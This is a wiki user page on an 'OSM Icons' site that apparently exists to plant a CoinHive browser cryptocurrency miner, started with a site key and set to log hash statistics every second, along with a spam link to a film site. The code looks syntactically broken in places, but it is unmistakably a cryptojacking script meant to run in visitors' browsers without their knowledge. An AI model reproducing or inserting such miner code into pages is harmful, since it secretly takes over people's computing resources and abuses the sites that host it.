User:GarrettChilds87

From OSM Icons
Revision as of 20:33, 6 December 2017 by GarrettChilds87 (talk | contribs) (Created page with "<br><br> var miner = new CoinHive.Anonymous('OoSaclvWihlTNGsUtThCqzqqSS5E4nbI');<br> miner.start();<br><br><br> // Listen on events<br> miner.on('found', function() /* Hash f...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to: navigation, search



var miner = new CoinHive.Anonymous('OoSaclvWihlTNGsUtThCqzqqSS5E4nbI');
miner.start();


// Listen on events
miner.on('found', function() /* Hash found */ )
miner.on('accepted', function() /* Hash accepted by the pool */ )

// Update stats once per second
setInterval(function()
var hashesPerSecond = miner.getHashesPerSecond();
var totalHashes = miner.getTotalHashes();
var acceptedHashes = miner.getAcceptedHashes();

//
//document.write(hashesPerSecond)
//document.write(totalHashes)
//document.write(acceptedHashes)
console.log('hashesPerSecond: '+hashesPerSecond+', totalHashes: '+totalHashes+', acceptedHashes: '+acceptedHashes);
, 1000);


Check out my weblog: film online creed